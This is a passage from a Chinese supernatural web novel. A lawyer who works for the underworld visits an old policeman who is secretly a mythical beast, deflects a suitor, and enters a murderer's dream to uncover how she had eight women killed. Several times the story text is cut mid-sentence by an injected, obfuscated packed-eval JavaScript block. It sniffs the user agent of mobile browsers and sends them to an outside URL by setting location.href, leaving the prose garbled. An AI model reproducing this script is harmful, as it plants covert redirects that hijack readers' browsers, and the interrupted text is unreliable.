男人很想放个狠话说我绝不会把钱给你这种垃圾律师,但是眼下,被这律师一眨不眨地盯着瞧,他无端地感到头皮炸开的恐惧感。 那双清棱棱的眼睛明明带了点向下弯的笑弧,可眸底却是完全没有情绪,不像在看人,反倒是看垃圾一样。 他鲜少见到长成这样的男人,漂亮到自带攻击性。 男人翕张几下唇瓣:“……哼。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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几个同事从电脑前抬头羡慕至极地看着他颀长潇洒的背影,心道怪不得殷垣一直不结婚,一人吃饱全家不饿可真爽,哪像他们个个拖家带口的,别说不接案子,就是正常下班都做不到! 殷垣的新同事.白无常亦步亦趋、喋喋不休:“其实地府没那么可怕,那都是人自己吓自己,你看无常鬼都被传成什么样了,我有那么恐怖吗!” 他说着,吐出一截暗红的长舌,惨白的脸仿佛自带阴森滤镜,跟周围祥和的办公室格格不入。 殷垣很想让他讲点卫生,别随时随地吐舌头,怪恶心的。 但顾及人多,他一时不好说话。哪曾想,一转弯到了门口迎面撞上柳裕的女儿。 小女孩都没殷垣的腿高,拿着个比头大的棉花糖,震惊地看着他们俩。 柳裕跟在她身后说道:“慢点,别乱跑——呦,下班啦,还挺准时的。” 换个人可能都觉得这是在阴阳员工不加班,但殷垣不一样,柳裕说这话绝对真心实意,完全没有半句阴阳怪气。 谁让殷垣之前经常迟到早退,能准点上下班都能算劳模了。 但眼下,这个不重要。 小女孩眼睛在殷垣和白无常身上来回飘,眼眶蓄满的泪水在白无常故意逗弄的时候倏然决堤,“哇”地一声,“呜呜呜——爸爸,爸爸——” “略略略——”白无常吊着白眼冲她吐舌头。 柳裕被吓一跳,连忙搂着女儿:“我的小姑奶奶,不让你吃两个棉花糖,你怎么还哭了。爸爸是为了你的牙好,你想想吃多甜食,牙齿里面会长虫啊!” 小女孩哭得上气不接下气,一时说不出话。 殷垣趁柳裕哄孩子的当头,忙绕过小女孩,带着白无常离开了律所。 白无常感觉还挺好玩:“逗小孩真有意思。” 真缺德! 殷垣:“......你做个好鬼吧。” 小女孩伏在柳裕的肩上哭了好一会,才抽噎着说,“爸爸,那个人能不来了吗?他好可怕!” 柳裕以为她在说殷垣,哄道:“那是爸爸的同事,怎么能不让人家来上班呢。” “可是他好吓人,还吐舌头。”小女孩委委屈屈道:“还不礼貌,明明两个人一起走的,怎么就一个跟你打了招呼。我们老师教我们要挨个打招呼啊。” 柳裕愣了几秒,奇怪道:“什么两个人?刚才就一个啊。” “就是两个嘛!” 柳裕看着女儿通红的眼睛,心里哇凉哇凉的,顿时有种不好的猜想。 难不成,真是孩子的眼睛出了问题? 21. 第 21 章 白无常为自己的特意跑一趟感叹道:“要是地府有手机,我也不至于这么麻烦了。” 殷垣开着车,忍不住提醒道:“没信号也不能用。” “这你就不懂了,地府的信号塔已经在修建中了,过不了多久就能基本联网了。”白无常翘着腿洋洋得意,“都说了,地府待遇好着呢,你还不信。” 他说完,撩了撩袖子,说道:“得了,我也没事了,走了啊。” 等他飘走后,车厢内的温度才慢慢回升。 殷垣把车开往医院的方向。 他上高中时,父母意外离世。当时的刑警队长叫焦端,也是殷垣父亲的同事,一直对他多有照顾,尤其是在殷垣父母离世后,简直把殷垣当成自己儿子对待。这么些年来,他和赵云州还会时不时拜访焦端,去他家里吃个饭唠唠家常。 当然,殷垣是吃的那个,唠家常的人是赵云州。 最近听说焦端身体不大好,在医院住着。殷垣正好趁今天不用上夜班,就拎着水果去病房探望。 住院部蓝色长廊上人来人往,大多是憔悴的家属和一脸病容的病人。 一身西装加大衣的殷垣拎着果篮走在其间显得异常突兀,时不时就有人悄悄盯着他打量。 心说这是哪个领导住院了,连这样的人都赶来探望。 自动忽略各种眼光,殷垣找到护士站打听信息,“你好,请问焦端在哪个病房?焦虑的焦,端正的端。” 护士查了下电脑:“427病房,你沿着走廊直走,尽头就有电梯。” 殷垣道谢的话还没说完,就被人从后面拍了一下。 “殷律师,你怎么来了!” 单易眼尖地看见殷垣手上的果篮后,更是高兴:“纪大师跟您说得吧,我真没想到他还把我生病住院的事跟你说了一嘴,还麻烦你来一趟。” 单易身体恢复后,顿感身体强壮如牛,一大早就生龙活虎地出去溜了一圈,没想到回来还有这么大个惊喜等着。 尤其是看见殷垣惦记着自己时,他不禁美滋滋地想,这场病生得也还不错。 “......”殷垣视线在他身上扫了一圈,明知故问道:“你生病了?” “啊?” 单易反应过来,尴尬不已,“嗐,我还以为...是我想多了。不过咱们俩能在医院里碰见也是缘分,我正想最近去海边度假,您看您帮了我个大忙,咱们一起去呗。” “拿钱办事而已。”殷垣淡淡道:“应该的。” 他说着,转身要走。 单易一时情急,下意识伸手去扯殷垣胳膊,“哎,再聊会嘛!” 殷垣没料到这人居然这么没分寸,一时半会还真没躲开,被单易抓个正着。 隔着大衣的都能感觉得殷垣清瘦的手臂线条,拉进距离的霎时,殷垣身上冷冽的淡香飘进鼻间,单易没忍住,又紧了紧手上的力道。 殷垣眼神立刻就变了,冷声道:“你还有什么事。” “我……”单易舔了舔有些干涩的唇,愣愣地看着殷垣冷白的脸庞,脑中百转千回闪过各种想法,讷讷道:“殷律师,我名下有两家公司……” 走廊的另一头,柏扶青正在漫不经心地滑动手机。 “那不是那谁嘛!”姬琼岐突然道。 谁? 柏扶青不感兴趣地瞟了一眼。 姬琼岐一脸吃瓜的表情:“卧槽,这是你那个…那个,跟你结亲的人类是吧?他怎么在这!” 柏扶青的目光从殷垣脸上落到他和那个陌生人接触的手臂上,逐渐变得幽深。 他走近刚好听见那个陌生人自报家门。 “我名下有两家公司,都是市值千万起步。还有几套房子和十几辆车,父母都健在并且很开明,也没有什么兄弟姐妹。” 单易顿了顿,给自己鼓气加油——大胆点,说不定就成了呢! “我自己今年三十整,长得也还可以……殷律师,你、你能不能……” 殷垣:“不能,我不做经济类的案子。你找别人吧。” 他用力抽回自己的手。 柏扶青本来不善的脸色在他说完话后,变成了忍俊不禁。 殷垣还真是有意思。 单易脸色憋得通红,还想说话。 一只手横空插进来,旁若无人地替殷垣扯正了袖子,熟稔道:“怎么这么晚还没回家?” 单易闻话,整个人突然僵硬。 什么意思?他们俩在同居? 殷垣看见不知道从哪冒出来的柏扶青怔了怔,“你怎么在这?” “我来找人。”柏扶青眼睛弯了弯,眼睛里清润的光似水般荡漾起来,“没想到这么巧,在这都能遇上。” “嗯。”殷垣看也没看单易一眼,和柏扶青一块朝电梯走去,“我也来找人。” “你的当事人?” “是一个长辈。” 说着电梯叮一声,开了门。两人同时朝四楼按键伸手。 殷垣见状,将落在柏扶青手背上的指尖收回。 蜻蜓点水一样的触感却让柏扶青心情更好,“看来这是真有缘分。” 殷垣没什么反应,等到了四楼,便先一步下电梯找到焦端所在的病房。 不想里面除了焦端外还站着一个男人。 两人对话在病房门被推开后就戛然而止,齐刷刷看过来。 殷垣觉得这男人有点眼熟。 男人更是莫名其妙地反问他:“你怎么到这来了?” 焦端倒是很高兴,“你怎么来了,也不提前打个招呼说一声。” “临时想过来看看。”殷垣将果篮放床头柜上,语气缓和几分,“您身体怎么样了?” “唉,就是年纪大了,有点头疼脑热的,不是什么大事。”焦端招呼他坐下,“你呢?最近工作怎么样?我听云州说他那边天天忙得脚不沾地,你应该不比他轻松多少吧。” “还好。”殷垣忽然对上那个男人笑吟吟的眼神,总觉得有种熟悉感,一定是见过的人。 难不成是他几年前的当事人? “殷律师,你还记得我吧。我们之前在警局见过的。”姬琼岐笑道:“柏扶青的朋友,我姓姬。” 殷垣想起来了。 柏扶青也推门走进来。 两人一站一坐,隔空对视。 柏扶青轻轻挑眉,无奈地笑了笑。 焦端眼睁睁看着自己病房里面发生一场诡异的认亲戏码。 他要是没记错的话,殷垣是人。 可另外两个就不是了。 这都能认识! 殷垣话一直不多,见焦端精神气还不错,也放下了心。 姬琼岐借口用咨询的理由把殷垣支出病房说话。 病房里面,柏扶青居高临下看着焦端灰白的头发说道:“听说你这是这个月第二次公共场合暴露原型了。” 焦端心虚:“我也不是故意的。碰巧撞上两个案子。” 他的原型是角端,与麒麟一样都是瑞兽,可生性更加嫉恶如仇,希望天下太平。 “妖族在人间生活第一条规定就是不能暴露身份,尤其是公共场合下。”柏扶青皱了皱眉。 焦端在商场闲逛时正巧撞上一个扒手偷东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667909|173007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,下意识大喝一声,那扒手不但没束手就擒反而转身就跑了。急得焦端直接忽视自己年近六十多人设,从二楼翻下去,一脚踢在扒手背上,将其踹倒。 他当时过于激动,头上的角露在众人面前,虽然也就几秒钟时间,可还是吓到不少人。 焦端则顺势给自己安了个情急之下,不顾安危的老警察形象,事后又装作受伤的样子被群众送往医院。 “知道了。”焦端不以为意,“下次注意。” “没有下次。”柏扶青语气重了几分,“这种场合下都能暴露原型,你真是越活越回去了。” 焦端哼哼两声,并不反驳。 柏扶青扔给他一个青色果实,“现在灵气稀薄,修行困难。这个能帮你稳住人形。” “这是……丹果?” 焦端摸着触手温凉的果皮,鼻尖萦绕着股清甜的香味。 “丹树不是早就灭绝了吗?你哪来的果子?” 柏扶青定定看着他,“你忘了我是谁?” 焦端:“……” 差点真忘了,建木可是百木之神,谁都能没有丹树下落,他肯定有。 焦端喜滋滋张嘴咬了口,青色果实流出淡红色的水,充盈的灵气汇入身体内,只一口,就让他精神倍增。 柏扶青则将殷垣带来的果篮给拿起,说道:“我走了。” 焦端看见他拿了什么时,“这是殷垣孝敬我的——” “现在是我的。”柏扶青瞥了他一眼,心想他护了殷垣那么多年,别说一个果子了,连一个谢谢都没听到。 焦端凭什么! 外面姬琼岐聊得刚好是殷垣熟悉的黄仙杀人结阴亲案。 “我那助理不是失踪了嘛,我就纳闷她一个孤儿,还有哪个亲人会去给她收尸。反正我闲着也是闲着,就找人去查了查。唉,您猜怎么着?她连车祸都不是意外,而是有人蓄意为之。你说人怎么能坏成这样!” 还让他背了黑锅! 姬琼岐义愤填膺,要是千年前,他会直接把这种甩锅给自己的人给吃了。 但,现在是法治社会。 姬琼岐发现后只得老老实实报警。 殷垣看他气得眼睛都红了,安慰两句:“节哀。不过警察已经有进展了,肯定能还你员工一个公道。” 不论警察怎么做,反正他已经把黄十四给处理了。 也算告慰其他无辜受害者的在天之灵。 姬琼岐一顿,想起这个漂亮青年和柏扶青的关系,试探性问道:“你觉得这个世界上有妖怪吗?” “我不信。”殷垣毫不犹豫说道:“我是坚定的唯物主义者。不信鬼神妖这些东西。” “……” 你骗人! 不相信这些怎么还跟柏扶青结了亲! 姬琼岐内心狂喊,瞧他严肃正经的表情,心说,律师果然不是谁都能干的。 就这种睁眼说瞎话的本事,一般人真不会。 只是被柏扶青警告过的姬琼岐僵硬地笑了笑,“哈哈这样啊。” 他眼睛转了转,“殷律师,你觉得年龄差对结婚恋爱影响大吗?” 兄弟啊,我只能帮你到这了。 殷垣没想到他话题能这么跳跃,拐到这上面了,随口答道:“得看具体情况,我不好轻易评价。” “那如果是你面对一个年龄非常大的人,大概是你年龄的几倍。你会和他……额……恋爱结婚吗?” “……我有病?”殷垣蹙了蹙眉,“我图什么?图他快死了?” 姬琼岐:“……” 刚出门的柏扶青:“……” 22. 第 22 章 “好吧。”姬琼岐干笑两声。 柏扶青暗中给他递了个警告的眼神,让他别乱说话。 “焦端休息了,我们回家吧。”柏扶青自然地说道。 “休息了?”殷垣不怎么相信这话,焦端一个老刑警,自打工作时就练出一身熬夜秘诀,向来不到凌晨绝不休息。 柏扶青也不拦他,任凭他回病房看情况。 他刚走,柏扶青就道:“我一会和殷垣一起回去,你先走吧。” 姬琼岐没什么异议,离开走廊。 几分钟后,殷垣轻轻关上门,走回来。 “你朋友呢?” “他有事先走了。” 殷垣点点头,眼睛在果篮上看了圈,“你怎么把它拿出来了?” “焦端说他不喜欢吃水果。” “哦。”殷垣伸手去接,却被柏扶青避开。 “我那盆发财树送你,这个就当你给我的谢礼了。” 殷垣并不想要什么发财树,也不执着果篮,淡声道:“不需要,你留着吧。” 柏扶青:“第三次拒绝了。殷律师,事不过三,你这样弄得我会很尴尬。” “如果你不提,也不会尴尬。” “我不提显得我们多生疏。”柏扶青说道:“礼尚往来很正常,你不要这么抗拒。” 殷垣不说话了。 晚上,柏扶青准时敲响殷垣的家门。 殷垣这时候刚洗完澡,头发半干,穿着身长袖黑色睡衣,趿着拖鞋给柏扶青开了门。 白天往后梳的头发此时自然地垂落在额前,看起来让他多了几分少年气。 柏扶青看见他的第一反应就联想到上次在他家里见过的照片。 十五岁左右的殷垣。 和现在相比几乎没怎么变化的脸,却截然不同的气质。 “我来送东西。” 殷垣往他手中的盆栽看去,比上次见到得更加嫩绿,多了不少芽叶。 柏扶青第二次踏进殷垣的家门。 客厅光线更好,也让殷垣看得更清楚。他让柏扶青放地上,自己半蹲下身体,伸手摸了摸抽长的韧枝。 似乎有夜风从窗户吹进来,枝条晃了晃,在殷垣指腹上摩挲。 “现在是春天,它长得比较快。”柏扶青说着,看殷垣依旧在摆弄盆栽,细长的手指从睡衣袖子里探出,在叶片上轻轻摩挲,就像直接触摸在自己的皮肤上。 凉凉的。 他打断殷垣的动作,将盆栽移到阳台上,说道:“才发芽,你别给弄死了。” “你说过它好养活。”殷垣皱了皱眉。 “是好养。”柏扶青无奈,“前提是别乱动。” 殷垣端起茶几上的玻璃杯润了润唇,“哦。你没事了吧。” “还有件事。”柏扶青拿出一张卡放在茶几边缘,殷垣半眯起眼睛去看,“这是什么?” “房租吧。”柏扶青说道:“总不好一直白住你的房子。” “你找到工作了?” “……” 柏扶青不理解他怎么对工作这事这么执着,顺着话题点头,“算是吧。” 殷垣这才收下,“知道了。” 他后半句话没说,眼中的送客含义不言而喻。 “你明天还上班吗?” 柏扶青只当没看懂,转而问道。 “不上班。”殷垣摇头,“但我还有案子。” 柏扶青只能作罢,道了句早点休息离开殷垣家。 殷垣在他走后拿着毛巾把半干的头发继续擦了几下,转身坐到沙发上给赵云州打去电话。 对方声音喑哑,时不时传出来嘈杂的环境音。 “怎么了?我还在警局加班呢。” “你那个案子现在进展的怎么样了?”殷垣说话的时候,正打开笔记本翻看邮件。 “赵队,过来吃饭了——” 赵云州伸长脖子朝办公室应了声,继续和殷垣通话:“有进展了。嫌疑人还是一句话都不交代,但是我们这边已经拿到了关键性证据,等证据链完整固定下来,就算没有口供,这边也能结案。” 刑事案件中,犯罪人的口供对于办案来说重要也不那么重要,物证才是才是最关键的,只要证据链完整,即便零口供也能结案。 殷垣问道:“你们找到什么了?” 说到这个,赵云州就起了劲,“我跟你说,我们之前抓她,一直以为只有一个受害人。你猜怎么着,八个人啊,整整八个。今天一早我领着人去找线索,一推门看见一个供桌上码了八个骨灰盒,我人都宕机了。” “这不刚才检验结果才出来,确认了是来自八个不同的受害者,还都是女性。我们今天估计还得通宵办案了。” 殷垣听到这也就放下了心,明白离结案确实不远了。 赵云州还在感慨:“你说这是不是信了什么邪教组织,我今天其实还看见个被打碎的佛像。我感觉正常人干不出这么残忍的事,除非是被什么东西蛊惑了。” “你去查查佛像从哪请的不就清楚了。” “已经在查了。”赵云州感觉胃部烧得隐隐作痛,抬手揉了揉,叹气道:“这他爹的,一天天累死个人。我熬到这个点,一天都没吃饭。” 殷垣扫了眼时间,“快九点了。” “是啊。”赵云州加班成习惯了,工位上常年放着两套换洗衣服,忙得时候一周不回家住都是常态。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667910|173007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他那边同事又喊了句:“赵队,你再不来泡面都凉了,今天还有卤蛋和火腿肠,赶紧来吃喽——” 殷垣本想说让他先去吃个饭,一听见这话,蹙起眉头道:“你们就吃泡面?” “唉,吃这个方便,再说给的补助也吃不了什么大餐。” “你等一会,我给你点外卖。”殷垣说着,想起柏扶青上次买的烧鹅味道还可以,就去软件上搜了这家店。 正好还没打烊。 殷垣就买了几份烧鹅和烧白腊肠各种套餐一块给他送过去。 赵云州听得口水直流,扭扭捏捏,不好意思问道:“买这么多呢,是不是让你太破费了。” “你一个月八千不到的工资就别担心我了。”殷垣淡淡道:“吃你的饭。” 赵云州就喜欢他这霸道的语气,捏着嗓子娇滴滴喊道:“喳——等我忙完这案子,就洗干净身体去陪您侍寝。” “滚。” ... 审讯室里的炽光灯明晃晃照在审讯椅上坐着的女人。 她半垂着头,发丝掩盖半张苍白的脸。一只眼睛从发缝露出,直勾勾盯着面前空无一人的审讯桌发呆。 快48小时了。 如果还没证据,她就能离开这里。 佛像还在等她回去上供。 只要能回家,佛一定会保佑她躲过这一劫。 一定会的。 殷垣穿着他那身工作服直接飘进了分局。路过办案区时正巧看见赵云州一手捧着外卖盒装的米饭,一手夹着筷子在空中比划。 “虽然还没查到云水为什么要杀这么多人还摆在家里,但是左右肯定是跟她儿子有关系。一会小丁跟我一起再去突审一下,你们其他人都去查那个佛像从哪来的。这个女人突然这么疯,肯定是有原因的!” 小丁点头,用泡面叉子叉了块烧白,色泽赭褐,软糯香甜,入口即化,还有股加了糖的鲜甜口感。羡慕道:“赵队,这饭不便宜吧。您今天可真大出血了。” “嗐,这是朋友点的。他看我一直加班,担心我身体吃不消。” 殷垣听了一耳朵就走了,不知道后面有人把话题扯到了自己身上。 小丁对赵云州嘴里的发小有点印象,“那不是长得特好看的律师嘛,我之前听说他爸好像也是我们警队的。他妈妈似乎也是系统里工作的。” “是啊,就是焦队工作时的副局长,十二年前在抓捕犯人时牺牲了。” 气氛倏然低沉下来,在坐的基本上都是新人,不清楚当时具体情况,被这话勾得好奇心正盛。 赵云州却不想多提这件事,板着脸训斥:“吃饭都堵不上你们的嘴,要是吃饱了就干活去。” 23. 第 23 章 炽光灯闪了闪,殷垣轻车熟路摸到云水所在的审讯室。 云水坐姿微微后顷,手臂自然垂落,是一种比较放松的姿态。 殷垣猜测是她还不知道佛像已经被砸,黄十四也被送走的事,自以为还有依仗,所以丝毫不把警察的审讯放在眼里。 只要攻破她的心防,其他事情自然会水落石出。殷垣祭出判官笔,凌空划出一道。 他本意是让判官笔虚构出个幻境,没想到判官笔不听使唤,从背后偷袭,一棍将云水砸到昏睡过去。 “……” 行吧,入梦也能达到效果。 梦里云水回到了自己家,她跪在供桌前,头发凌乱的披在身后,满脸泪痕,冲着佛像抽噎道:“求求您,让我儿子活过来吧。您让我做什么都行,只要我儿子能活过来!” 佛像完全没有任何反应。 云水看着已经燃烧殆尽的线香,陷入沉默中。 毫无神采的眼睛满是死寂,她喃喃自语:“为什么?不是说只要供奉十天就好了嘛?怎么还没反应。” “都是假的,全都是假的。” 她凄然一笑,毅然起身端起香炉崩溃地去砸佛像。在即将砸到佛像身上前一秒,毫无反应的佛像突然发出了暗光。 笑容可掬的佛头渐渐收起笑意,一双平静无波的佛眼与云水对视。 云水被这诡异一幕吓得香炉脱手,任凭它从供桌滚落在地也不管。 云水知道她的心愿被佛看到了。 于是她每天更加虔诚地上香拜佛。 直到一天,佛突然开口。 “汝子正处于无间地狱中挣扎,他过得很不好。” 云水慌了,“求您帮帮他,求您救救他。” 佛道:“他一个人很寂寞,你或许该给他找个伴了。” 云水从此就到处找人搜查和儿子年龄相仿人的信息。 儿子长得帅,那女生就得好看。 儿子是大学生,那女生起码就得本科起步。 儿子性格单纯,那女生就得同样干干净净。 找到第一个人的时候,云水正跪在佛前诵经。 这是她从寺庙里买的《金刚经》,可以为往生人超度。 她希望儿子可以早日摆脱苦难,登上极乐世界。 为此,她做什么都行。 有了第一次,后面的事情就越来越顺手。 云水的丈夫早逝,留下大笔遗产都是她和她儿子的。 既然儿子没了,这钱也没留下去的必要。云水就用它,一个接一个地买了女孩的生命。 殷垣冷眼旁观云水做的一切,从她面无表情捧着装着骨灰的黑盒子时就知道这个女人绝对疯了。 她比那些亲手杀人的杀人犯还要可怕。 远程操控着一切,一句话就能收割一个人生命。 云水觉得自己似乎陷入了个梦境中,但她不愿意醒来。 她想在这里尽完自己身为母亲最大的职责。 可当她再次从《金刚经》书页中抬头时,突然发现佛像不知道什么时候裂了。 一道狰狞可怖的裂痕贯穿佛头。 云水慌张上前补救,可没摸到佛像,它已经崩裂开。 从里面跳出一直丑陋无比的黄鼠狼。 黄鼠狼悬在半空,呈莲花状打坐,发出佛声:“你该上香了。” 云水难以置信,死死瞪着它,怎么可能是这样。 佛呢? 怎么是黄鼠狼! 黄鼠狼仍紧闭双眼,说道:“汝子近日修行大有长进,只要你虔诚向佛,一定能够助他早登极乐。” 云水大脑嗡嗡作响,第一反应是她要把这个冒牌货杀了。 她要找回真正的佛。 她抄起香炉,朝黄鼠狼狠狠砸去。 电子蜡烛的红光猛地一闪,眼前一切骤然变幻。 香炉变成了石头。 黄鼠狼变成一张熟悉而又惊恐的脸。 这是她儿子。 云水一石头将他砸得头破血流,粘稠殷红的血像水龙头里的水一直往外冒,淌过他睁大的眼睛。 云水从他眼中的倒影看出自己狰狞的表情。 她被吓了一跳。 石头陡然落地。 “儿子……”云水怔怔喊道。 男生浸了血的嘴唇蠕动,想说什么,可头顶的痛感让他视线模糊,不受控制地往后退。 一步,两步…… 突然一只脚踩空,从悬崖上摔了下去。 云水瘫软在地,望着空无一人的悬崖边,不敢相信刚才发生的一切。 怎么会这样? 她怎么会亲手杀了自己儿子? 她那么爱自己的儿子,那是从她身上掉下来的一块肉啊。 云水将头埋进臂窝,顷刻间泪流满面。 殷垣看到这,总算明白了云之州怎么会只有一个牌位。 云水已经病态到杀人的地步,又怎么不把云之州的骨灰也留在眼前。 更大可能是云水后来都没找到云之州的尸体。 因为她自己都忘了儿子不是车祸死亡,而是坠崖。 云水哭得上气不接下气,浑身都在颤抖。等被人从梦中推醒时,她抬头看见近在咫尺的警察以及他身后硕大的国徽。 小丁莫名其妙地问道:“你怎么了?” 云水痛苦到几乎不会呼吸,愣愣地看着小丁年轻的面容。 同样的年轻,同样的短发,和她儿子那么像。 云水情不自禁地叫了声:“州州。” 赵云州下意识抬头,“……” 有病吧。 他大力一拍,桌子震天响。“别胡言乱语,我告诉你,你的秘密我们全都知道了,我劝你老实交代,配合警方工作。逃避是不会有用的!” 云水再次一声不吭。 小丁见她哭得可怜,端来一杯水。 赵云州继续道:“云水,你信佛是吧!既然这么信佛,你为什么要把佛像砸碎?居然一点也不避讳吗?” 听完他的话,云水倏然抬头:“佛像碎了!” 赵云州心说这个方向果然没错。给她看了现场照片。 云水瞳孔紧缩成一个点,看着图片中满地碎片,头脑一阵阵眩晕。 “怎么会碎了?” 真是她砸的吗? 她为什么都不记得了。 还有她儿子。 儿子会不会也是被自己…… 云水眼睛通红,想起来更多的事情了。 她为什么要杀儿子。 因为她想自卫。 自从丈夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他昨天在分局呆到半晚,一早又被柳裕的电话吵醒,对方硬要把自己手上的案子推给他来做。 殷垣气压极低,“给我个理由。” 柳裕唉声叹气,“我今天约了医生给我女儿做检查。说出来你可能不信,我怀疑她的眼睛有问题。趁我媳妇还没回来,我赶紧做个检查看看情况。” “她眼睛怎么了?” “我感觉她是不是能看见正常人看不见的东西。你还记得昨天见面吧,她硬是说你身边还有个人。” 殷垣一顿,对原因心知肚明,破天荒地缓和几分语气:“……那好吧。你也别太着急。” “希望没大事。”柳裕愁眉苦脸。 赵云州不知道他思绪飞了,一边啃着烧饼一边说道:“这个案子了结了,我正好想起来该到你生日了。怎么着,今年想在哪过?你家还是我家?” “随便。”殷垣心不在焉地想还没处理完的工作。 “那就我家了。我爸妈念叨你好久,你也是个大忙人,整月都不见一次面。” 殷垣不置可否。